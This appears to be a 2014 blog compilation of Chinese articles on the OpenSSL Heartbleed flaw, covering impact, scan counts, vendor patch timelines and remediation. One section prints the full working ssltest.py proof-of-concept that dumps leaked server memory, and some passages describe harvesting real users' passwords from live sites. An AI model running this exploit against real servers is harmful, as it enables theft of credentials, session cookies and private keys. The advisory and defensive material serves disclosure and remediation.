Total Pageviews

Tuesday, 8 April 2014

互联网核心安全机制-OPENSSL“心脏出血”

4月8日是黑客和白帽们的不眠之夜。他们有的在狂欢,逐个进入戒备森严的网站,耐心地收集泄漏数据,拼凑出用户的明文密码;有的在艰苦升级系统,统 计漏洞信息,还要准备说服客户的说辞,让他们意识到问题的严重性;当然还有淼叔这样看热闹不嫌事大的,拼命恶补安全尝试、寻找专家采访,试图记录这历史性 的一夜。
这一夜,互联网门户洞开。
基础安全协议“心脏出血”
北京知道创宇公司的余弦守在电脑屏幕前彻夜未眠。作为一家高速发展的安全企业研究部总监,余弦在国内黑客圈资历颇深。他向淼叔介绍了这次事件的起 源。该漏洞是由安全公司Codenomicon和谷歌安全工程师发现的,并提交给相关管理机构,随后官方很快发布了漏洞的修复方案。4月7号,程序员 Sean Cassidy则在自己的博客上详细描述了这个漏洞的机制。
他披露,OpenSSL的源代码中存在一个漏洞,可以让攻击者获得服务器上64K内存中的数据内容。这部分数据中,可能存有安全证书、用户名与密码、聊天工具的消息、电子邮件以及重要的商业文档等数据。
OpenSSL是目前互联网上应用最广泛的安全传输方法(基于SSL即安全套接层协议)。可以近似地说,它是互联网上销量最大的门锁。而Sean爆 出的这个漏洞,则让特定版本的OpenSSL成为无需钥匙即可开启的废锁;入侵者每次可以翻检户主的64K信息,只要有足够的耐心和时间,他可以翻检足够 多的数据,拼凑出户主的银行密码、私信等敏感数据;假如户主不幸是一个开商店的或开银行的,那么在他这里买东西、存钱的用户,其个人最敏感的数据也可能被 入侵者获取。
一位安全行业人士在知乎上透露,他在某著名电商网站上用这个漏洞尝试读取数据,在读取200次后,获得了40多个用户名、7个密码,用这些密码,他成功地登录了该网站。
发现者们给这个漏洞起了个形象的名字:heartleed,心脏出血。这一夜,互联网的安全核心,开始滴血。
中国有至少三万台机器“带病”
一些安全研究者认为,这个漏洞影响可能没有那么大,因为受漏洞影响的OpenSSL 1.01系列版本,在互联网上部署并不广泛。
国内老资格的安全工作者、安天实验室首席架构师江海客不认同这种说法。他在微博上预警:“这一次,狼真的来了”。
余弦则以对问题进行了精确的定量分析。4月8日的不眠之夜中,他除了在Twitter和各大论坛中实时跟踪事态的最新进展,更重要的精力放在了 ZoomEye系统的扫描上。根据该系统扫描,中国全境有1601250台机器使用443端口,其中有33303个受本次OpenSSL漏洞影响!443 端口仅仅是OpenSSL的一个常用端口,用以进行加密网页访问;其他还有邮件、即时通讯等服务所使用的端口,因时间关系,尚未来得及扫描。
ZoomEye是一套安全分析系统,其工作原理类似Google,会持续抓取全球互联网中的各种服务器,并记录服务器的硬件配置、软件环境等各类指 标,生成指纹,定期对比,以此确定该服务器是否存在漏洞或被入侵。在此次“心脏出血”漏洞检测中,余弦给该系统后面加上一个“体检”系统,过滤出使用问题 OPenSSL的服务器,即可得出存在安全隐患的服务器规模。
从该系统“体检”结果看,比三万台问题服务器更令人惊心的,是这些服务器的分布:它们有的在银行网银系统中,有的被部署在第三方支付里,有的在大型电商网站,还有的在邮箱、即时通讯系统中。
自这个漏洞被爆出后,全球的骇客与安全专家们展开了竞赛。前者在不停地试探各类服务器,试图从漏洞中抓取到尽量多的用户敏感数据;后者则在争分夺秒 地升级系统、弥补漏洞,实在来不及实施的则暂时关闭某些服务。。余弦说,这是目前最危险的地方:骇客们已经纷纷出动,一些公司的负责人却还在睡觉。而如果 骇客入侵了服务器,受损的远不止公司一个个体,还包括存放于公司数据库的大量用户敏感资料。更为麻烦的是,这个漏洞实际上出现于2012年,至今两年多, 谁也不知道是否已经 有骇客利用漏洞获取了用户资料;而且由于该漏洞即使被入侵也不会在服务器日志中留下痕迹,所以目前还没有办法确认哪些服务器被入侵,也就没法定位损失、确 认泄漏信息,从而通知用户进行补救。
问题的应对与新的问题
目前,ZoomEye仍在持续不断地给全球服务器”体检“,这个过程需要20小时左右。相比之下,仅仅给国内服务器体检需要的时间短得多,仅仅需要 22分钟;而给那三万多台”带病“服务器重复体检,则只需两分钟。目前,余弦已经将这份名单提交给CNCERT/CC(国家互联网应急中心),由后者进行 全国预警。但是,除了移动、联通等这些大型企业外,CNCERT也没有强制力确保其他公司看到预警内容,最后可能还是需要媒体持续曝光一些“带病”服务 器,以此倒逼相关公司重视该漏洞。
而在漏洞修补期间,普通消费者与公司均应该采取相关措施规避风险。对于普通用户来说,余弦建议在确认有关网站安全之前,不要使用网银、电子支付和电 商购物等功能,以避免用户密码被漏洞后的骇客捕获。“一位银行朋友告诉我,他们补上这个漏洞需要两天时间。这两天大家最好就别登录网银了,确认安全后再 登。如果已经登录过了,那就考虑换一下密码吧。”
与用户的消极避险不同,相关互联网企业则应该尽快进行主动升级。升级到最新的OpenSSL版本,可以消除掉这一漏洞,这是目前企业最便捷的做法。 但在升级后,理论上还应该通知用户更换安全证书(因为漏洞的存在,证书的密钥可能已泄漏),并通知用户尽可能地修改密码。后面这两个措施,企业实施起来会 面临很大的代价,也只能通过媒体尽量曝光,让意识到的用户重新下载证书并自行修改密码了。
由于“心脏出血”漏洞的广泛性和隐蔽性,未来几天可能还将会陆续有问题爆出。在互联网飞速发展的今天,一些协议级、基础设施级漏洞的出现,可能会打 击人们使用互联网的信心,但客观上也使得问题及时暴露,在发生更大的损失前及时得到弥补。作为身处其中的个人,主动应变、加强自我保护,可能比把安全和未 来全部托付出去要负责任一些.
-----------------------------

OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞


OpenSSL 今天公告了一個極度嚴重的漏洞(CVE-2014-0160),被稱為「Heartbleed」,而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從 伺服器記憶體中讀取 64 KB 的資料,利用傳送 heartbeat 的封包給伺服器,在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料,因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等,因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。
詳細的分析可以參閱 existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug
軟體名稱:OpenSSL
影響範圍:1.0.1 至 1.0.1f / 1.0.2-beta
修復版本:1.0.1g / 1.0.2-beta1
影響系統版本
Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
CentOS 6.5, OpenSSL 1.0.1e-15
Fedora 18, OpenSSL 1.0.1e-4
OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
FreeBSD 10.0 – OpenSSL 1.0.1e 11 Feb 2013
NetBSD 5.0.2 (OpenSSL 1.0.1e)
OpenSUSE 12.2 (OpenSSL 1.0.1c)
OpenSSL 的公告如下:https://www.openssl.org/news/secadv_20140407.txt
A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.
Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.
如何自我檢測?
要如何測試自己的網站有沒有這樣的漏洞呢?可以利用以下的網站或工具直接查詢。
Heartbleed test http://filippo.io/Heartbleed/
直接輸入 Domain 即可查詢,例如「fbi.gov」。

自我測試工具 http://s3.jspenguin.org/ssltest.py
使用方法直接執行「python ssltest.py ifttt.com」,或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料,可能內含機敏資料例如 private key、session cookie 等。

原始碼如下:
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage=’%prog server [options]‘, description=’Test for SSL heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(‘-p’, ‘–port’, type=’int’, default=443, help=’TCP port to test (default: 443)’)
def h2bin(x):
return x.replace(‘ ‘, ”).replace(‘\n’, ”).decode(‘hex’)
hello = h2bin(”’
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
”’)
hb = h2bin(”’
18 03 02 00 03
01 40 00
”’)
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ‘ ‘.join(‘%02X’ % ord(c) for c in lin)
pdat = ”.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime – time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH’, hdr)
pay = recvall(s, ln, 10)
if pay is None:
print ‘Unexpected EOF receiving record payload – server closed connection’
return None, None, None
print ‘ … received message: type = %d, ver = %04x, length = %d’ % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print ‘No heartbeat response received, server likely not vulnerable’
return False
if typ == 24:
print ‘Received heartbeat response:’
hexdump(pay)
if len(pay) > 3:
print ‘WARNING: server returned more data than it should – server is vulnerable!’
else:
print ‘Server processed malformed heartbeat, but did not return any extra data.’
return True
if typ == 21:
print ‘Received alert:’
hexdump(pay)
print ‘Server returned error, likely not vulnerable’
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
應對措施
如果發現自己的伺服器有這樣的漏洞,該怎麼辦呢?
確認自己的 OpenSSL 版本是否在受害範圍
使用 ssltest.py 檢測工具檢測是否含有漏洞
更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2
重開所有與 OpenSSL 函式庫相關之服務
重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)
將網站舊憑證撤銷
清除所有目前網頁伺服器上的 Session (因為可能遭到竊取)
必要時更換網站內使用者密碼,或是密切追蹤網站是否有帳號盜用的情況發生
詳細討論與建議可以參考 Heartbleed: What is it and what are options to mitigate it?
誰會是目標呢?
真的會有攻擊者利用這樣的攻擊手法嗎?目前在烏雲 wooyun平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式,想要藉此把平常打不下來的網站一舉攻陷。
怎樣的站台會是重點目標呢?含有會員機制的網站特別如此,例如 Web Mail、社群網站等等。因此不少企業要多注意了,例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS,都會在這波的攻擊範圍之內。如果沒有儘速修復,等到更有效 的攻擊程式出現,就真的等著失血了。
小結
就連 OpenSSL 這種歷史悠久而且重要的函式庫,都可能犯這種基本的 C 語言程式設計錯誤,老舊的程式碼一定有不少陳年遺毒,如果沒有徹底清查,類似的心臟噴血事件會不斷上演。大家快點止血吧。
-----------------

How to fix Heartbleed Vulnerability on LAMP Server (Apache PHP) CVE-2014-0160

OpenSSL which is used by several million websites was found vulnerable to the heartbleed vulnerability. Thankfully it is quick and easy to fix following these instructions.
Why do I need to fix it?
When it is exploited it leads to the leak of memory contents from the server to the client. This means anything in the server memory (RAM) could be potentially sent to a person exploiting the bug. Here are examples of what is on your server memory:
1) The encryption keys themselves
2) User names and passwords used on the web
3) PHP Session IDs
4) Data being sent to other users
How can I test the vulnerability?
We used a python script to test the vulnerability on our servers. A single python file which sends the target server a carefully crafted heartbeat message and waits for the server to send back a lot of sensitive information. Alternatively you can use the SSL test tool on the ssllabs website.
How to fix on CentOS
1
2
>sudo yum update openssl
>service httpd restart
How to fix on Ubuntu
1
2
>sudo apt-get upgrade openssl
>service apache2 restart
Other things to consider
– Are there any other software statically linked to OpenSSL? Nginx? Ruby? PHP? You need to recompile or restart them
– Replace any API tokens or passwords in use
– You might have to create a new private key and CSR to get a new SSL certificate
– Do you feel like your users might have been compromised? You will then need to ask them to change passwords.
--------------------------
Heartbleed漏洞之所以得名,是因为用于安全传输层协议(TLS)及数据包传输层安全协议(DTLS)的Heartbeat扩展存在漏洞。 Heartbeat扩展为TLS/DTLS提供了一种新的简便的连接保持方式,但由于OpenSSL 1.0.2-beta与OpenSSL 1.0.1在处理TLS heartbeat扩展时的边界错误,攻击者可以利用漏洞披露连接的客户端或服务器的存储器内容,导致攻击者不仅可以读取其中机密的加密数据,还能盗走用 于加密的密钥。
据估计受影响的服务器数量可能多达几十万。其中已被确认受影响的网站包括Imgur、OKCupid、Eventbrite以及FBI网站等,不过Google未受影响。
此外,漏洞还可能导致用户信息的泄露。比方说黑客已经可以利用此漏洞通过查看最近访问受影响服务器的用户的cookie来获取其个人信息。已有开发 者报告说发现可利用此漏洞查看到以保护用户隐私出名的搜素引擎DuckDuckGo上的用户搜索记录,Yahoo也被发现存在此漏洞导致用户凭证的泄露。
该漏洞2011年就已经被引入,但直到最近才被人发现。受影响服务器必须给自己的OpenSSL打上补丁,同时还需要更改密钥才能避免进一步受到影响。专家建议,为了免受此漏洞影响,用户最安全的应对措施是最近几天都不要参与敏感的网上活动,如购物、使用网银等。
-------------------------------------

OpenSSL 的 Heartbleed 漏洞的影响到底有多大?


这个漏洞的实际影响非常大。
比较大型的网站,登录认证这种事情,往往是一个独立的应用,使用 https 协议单独部署。所以运行一段时间之后,应用的内存中都是跟认证相关的数据,其中就会有大量的用户名和密码。在小型网站上利用这个漏洞反而比较困难,一般小 型网站就那么几台 Web 服务器,所有业务都在上面跑,Web 服务器的内存里面什么都有,有效信息的比重会很低。
实际测试了一下,以某宝为例,用 4k 大小的包读取,尝试 200 次,大约拿到 40 个用户名,7 个密码。随便试了一对用户名密码,可以登录成功。
这个事其实也暴露出 http 服务的安全有多脆弱。
http 服务有完善的链路层安全协议,反而导致设计应用协议的人偷懒,不在协议上作任何安全考虑,这样在应用的两端还是存在明文密码。明文密码或者说不过期的密 码,存在的地方多一个就危险一分。像登录这种事情,如果客户端发给服务器的是密码加时间的 hash 值,这个漏洞的危害就小很多。
一个有趣的事情是,设计原生 TCP 应用协议的人,反而会更多的在协议上考虑安全,因为他们没有非常好用的 ssl 库。
余弦,黑客,来自知道创宇的懒人
一切权威看爆这次漏洞的官方动态:Heartbleed Bug(Heartbleed 这个命名不错,载入史册)。
@知道创宇安全研究团队 实测可以 Dump 出淘宝、微信、陌陌、网银、12306 等各大使用 OpenSSL 服务的一些内存信息,里面有用户等的敏感内容(有些重要网站含明文密码)。
OpenSSL 这次被比做「心脏出血」。可见影响。一个安全套件不安全了……
权威统计:
而且还不知是否有更进一步影响(小道八卦影响比想象的严重)。来自 Heartbleed 的官方说明(大概翻译下):
OpenSSL 在 Web 容器如 Apache/Nginx 中使用,这两的全球份额超过 66%。还在邮件服务如 SMTP/POP/IMAP 协议中使用,聊天服务如 XMPP 协议,VPN 服务等多种网络服务中广泛使用。幸运的是,这些服务很多比较古老,没更新到新的 OpenSSL,所以不受影响,不过还是有很多用的是新的 OpenSSL,都受影响!
来自@ZoomEye 的统计:
全国 443 端口:1601250,有33303个受本次 OpenSSL 漏洞影响!注意这只是 443 端口。
全球 443 端口,至少受影响有71 万量级。
老外有个基于全球 TOP1000 的粗暴根域 OpenSSL 探测列表,仅供参考:
https://github.com/musalbas/heartbleed-masstest/blob/master/top1000.txt
说这个粗暴是因为:仅对「根域」。
不知道有多少团队要熬夜:
甲方,加急升级 OpenSSL(如果升级真的可以的话,目前来看是可以);
乙方,像我们这样的安全公司,在给我们全线产品 + 客户提供安全应急,并给社会输出有价值的参考信息;
地下黑客,刷库,各种刷。
每次这种大事,乌云都是被各路白帽子刷分的:

我们已经联合国家有关单位进行应急响应,我相信这次风波会很快平息。
用户防御建议:
和某银行朋友交流,他们更新这个漏洞,需要 2 天时间。这段时间,用户谨慎吧,能不登录就不登录(因为你登录了你的相关明文信息,如用户名密码会在那万恶的 64K 内存中,这段内存是可以被 OpenSSL 这个漏洞刷出来的……),等过 3 天或这些网站说修复了,大家再继续使用服务……
如果已经登录过,你紧张的话,就修改密码吧。
厂家防御建议:
首先,这类攻击日志据 Heartbleed 官方说,无日志记录,追查不到。不过 IDS/IPS 等可以检测 / 防御(我们的加速乐也可以)。
别犹豫了,尽快升级 OpenSSL 吧。
如果厂家负责的话,可以学国外知名云平台厂家 Heroku 的做法:
Heroku OpenSSL Heartbleed Security Update
升级后,提醒用户更改密码、提醒云服务使用者更新 SSL 密钥重复证书。不过不太指望国内厂家这样做,因为我相信用户绝对会疯掉。
附录参考:
0. Heartbleed Bug(爆这次漏洞的官方)
1. 关于 OpenSSL“心脏出血”漏洞的分析 – 乌云知识库 – 知乎专栏
2. @Fooying 当安全协议不安全了:OpenSSL 漏洞 – Fooying – 知乎专栏
3. @Evilm0 OpenSSL 漏洞爆发后 – 微信公众号:Evil-say – 知乎专栏
-----------------------------------------------------------------------------------

作業系統修复openssl heartbleed漏洞的進度

從資安事件的處理可以推敲出各作業系統商對於緊急事件的反應速度。
時間軸,按照修復的先後排列:
  1. OpenSSL (資安弱點的主角) 第一次公開揭露的時間約在 2014年4月6日 0時。
  2. RedHat 在 2014年4月7日 07:47:00 正式修復。
  3. OpenSSL 正式確認並修復的時間約在 2014年4月7日16時。
  4. OpenBSD 約在 2014年4月7日 20:17 正式修復。
  5. Arch Linux 約在 2014年4月7日 20:36 正式修復。
  6. Debian 約在 2014年4月7日 21:45 正式修復。
  7. FreeBSD 約在 2014年4月7日 21:46 正式修復。
  8. Ubuntu 約在 2014年4月7日 21:48 正式修復。
  9. Fedora 約在 2014年4月8日 00:33 正式修復。
  10. CentOS 約在 2014年4月8日 02:49 正式修復。
  11. OpenSUSE 約在 2014年4月8日 05:32 正式修復。
  12. Gentoo 約在 2014年4月8日 07:30 正式修復。(amd64/x86)
  13. Scentific 約在 2014年4月8日 08:27 正式修復。
重點整理:
  1. RedHat 修復的速度比 OpenSSL 官方還快。
  2. RedHat 派系的修復時間,除了 RedHat 外都算慢,如 Fedora 及 CentOS、Scentific,他們都比 RedHat 慢 16 小時以上。
  3. Debian 派系的修復時間,如 Debian 及 Ubuntu,都比 RedHat 慢上至少 12 小時以上。
  4. Scentific 是列表中修復最慢的。
  5. 若以資安黃金 6 小時來說,Fedora、CentOS、OpenSUSE、Gentoo 及 Scentific 都不及格。

大公司更新的速度

同樣地,從資安事件的處理可以推敲出各公司對於緊急事件的反應速度。
雲端相關公司
  • Cloudflare 約在 2014年3月31日至2014年4月7日 11時修復。(3月31日有人主動通知 Cloudflare)
  • DigitalOcean 約在 2014年4月8日 12時修復。
  • AWS 約在 2014年4月8日 12時修復。
  • Linode 約在 2014年4月8日 14時修復。
  • Heroku 約在 2014年4月8日 16時修復。
有些公司直到 2014年4月8日 16時都還沒修復。此時已離官方正式修復整整一天,也比上述機器數很多的雲端相關公司還慢。這些公司為,
  • Yahoo.com / Flickr.com
  • Kaspersky.com (資安公司)
  • stackoverflow.com
  • stackexchange .com
  • php.net
其它補充
  • Google 在第一時間就把主要的伺服器修復了,原因在於 Google 的同仁是發現這個資安弱點者之一。
  • 採用 Microsoft 解決方案的人反而沒有受到影響,因為這個資安弱點跟他們沒直接相關。
  • 修復時間主要參考官方源庫或官方部落格。

參考來源

---------------------------------


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:Fooying
链接:http://zhuanlan.zhihu.com/fooying/19722474
来源:知乎

OpenSSL与SSL安全协议

什么是SSL安全协议,我记得在10年我写过一篇简单介绍的文章,小谈SSL安全协议(小谈SSL安全协议(原创)_Fooying_百度空间),大家不凡可以看看,以前的文章,大家就不要笑话了。
SSL,全称Secure Socket Layer,为Netscape所研发,用以保障在Internet上数据传输之安全,利用数据加密(Encryption)技术,可确保数据在网络上之传输过程中不会被截取及窃听。简单的说,就是加密传输的数据,避免被截取监听等。
SSL应该是大家平时接触最多的安全协议了,大家可以看访问一些网址的时候,一般是http://开头,如果发现https://开头就是采用了SSL安全协议。比如,大家在登陆微信网页版的时候就可以看到:


一般来说,比如nginx,可以通过以下方式就可以进行配置:

# HTTPS server
#
server {
listen 443;
server_name localhost;

ssl on;
ssl_certificate /opt/nginx/sslkey/server.crt;
ssl_certificate_key /opt/nginx/sslkey/server.key;

location / {    
  root /home/workspace/;    
  index index.asp index.aspx;       
 }
}

大家可以看到,监听的是443端口,然后通过ssl on;来开启,同时通过ssl_certificate和sl_certificate_key配置证书和key文件,具体的就不多解释了,大家可以自己搜索下。
那么证书和key又是怎么一回事呢?接下来就要讲到OpenSSL了。
进行过nginx编译的同学都知道,在编译nginx的时候,如果想让nginx支持开启SSL,那么必须加一个--with-http_ssl_module 的配置项。那么又何让服务器支持这个配置项呢?又如何生成nginx配置中SSL所需要的证书和key文件呢?都是源于OpenSSL(openssl_百度百科)。
OpenSSL是一个强大的安全套接字层密码库,Apache使用它加密HTTPS,OpenSSH使用它加密SSH,但是,你不应该只将其作为一个库来使用,它还是一个多用途的、跨平台的密码工具。
大家平时如果采用公私钥的方式连接服务器,也是需要用到OpenSSL的。简单的理解,OpenSSL是一个强大的支持库,更是一个强大的密码工具。虽然要支持SSL协议不一定得采用OpenSSL,但是基本大部分的都是采用OpenSSL。

心脏出血的OpenSSL

相信前面简单的介绍能让大家了解到OpenSSL的重要性,也明白了SSL协议是做什么的,那么大家应该就可以理解,本来采用SSL协议是为了数据传输的安全性,是为了更安全,但是OpenSSL的漏洞直接导致了本该是让为了更安全的设置变成了致命的危险。
简单介绍下漏洞,这个漏洞是昨天国外的黑客曝光的,该漏洞可以获取HTTPS服务器的随机64K内存。这个漏洞被称为heartbleed,直译的话就是心脏出血。可能有部分同学没意识到这个64K有啥用错,读取内存又有啥用?
贴几张图:
这是笔者利用poc进行的一些测试(测试poc:hhttp://pan.baidu.com/s/1nt0T0d7,直接python ssltest.py domain就可以了),大家可以看到,cookie甚至是明文帐号密码都直接爆出来了,有的还有代码源码(这个忘记截图了。。。)、SSL私钥(这个笔者没测试出来)等,那么影响有多大呢?看下wooyun的漏洞提交列表:
再给个来自zoomeye(ZoomEye - The Cyberspace Search Engine)的统计数据:
全国443端口:1601250,有33303个受本次OpenSSL漏洞影响
看了这些,称为"心脏出血"完全不为过。今天估计又有许多运维同学可忙的了。具体的漏洞分析我也不多说了,大家可以看wooyun上的文章(关于OpenSSL“心脏出血”漏洞的分析

安全防范

说了这么多,可能有些同学觉得都不要去访问那些是https的网站了,其实也大可不必,官方其实已经放出补丁了,修复方法:
升级到最新版本OpenSSL 1.0.1g
无法立即升级的用户可以以-DOPENSSL_NO_HEARTBEATS开关重新编译OpenSSL
1.0.2-beta版本的漏洞将在beta2版本修复
对于个人用户的话,大家不用太担心,虽然说影响有点大,不过问题主要是出在服务商,而且像那些大网站,比如微信、淘宝等都已经修复了,实在不放心,大家可以这几天暂时不要访问使用了SSL协议的网站进行登陆等操作,特别是网银等网站。另外,提供个在线检测的工具给大家:Test your server for Heartbleed (CVE-2014-0160)与我们团队弄的一个工具实验室 - SCANV,大家也可以访问前进行下检测。
补几个最新数据(来自zoomeye):
ZoomEye团队,对全球开放443端口的 35348677 个主机,进行全方位的深度探测,存在漏洞的主机高达 714828 个
OpenSSL Heartbleed Worldwide Vulnerable Distribution


结语

剩下的就不多说了,首先给那些连夜处理的运维和安全工作人员道声辛苦了。现在大家对安全越来越重视,这是好事,剩下的就是大家上网多小心些!

from  http://zhuanlan.zhihu.com/fooying/19722474